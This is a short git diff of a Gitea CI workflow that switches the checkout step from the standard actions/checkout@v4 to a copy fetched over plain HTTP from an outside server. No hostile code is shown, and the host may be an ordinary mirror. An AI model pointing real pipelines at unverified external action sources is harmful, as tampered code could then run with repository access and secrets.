diff --git a/.gitea/workflows/ci.yml b/.gitea/workflows/ci.yml
index 5dcc908..cf0c4ec 100644
--- a/.gitea/workflows/ci.yml
+++ b/.gitea/workflows/ci.yml
@@ -12,7 +12,7 @@ jobs:
     runs-on: linux-amd64
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v4
+        uses: http://debian.hellosu.top:3000/actions/checkout@v4
 
       - name: Show workspace
         run: |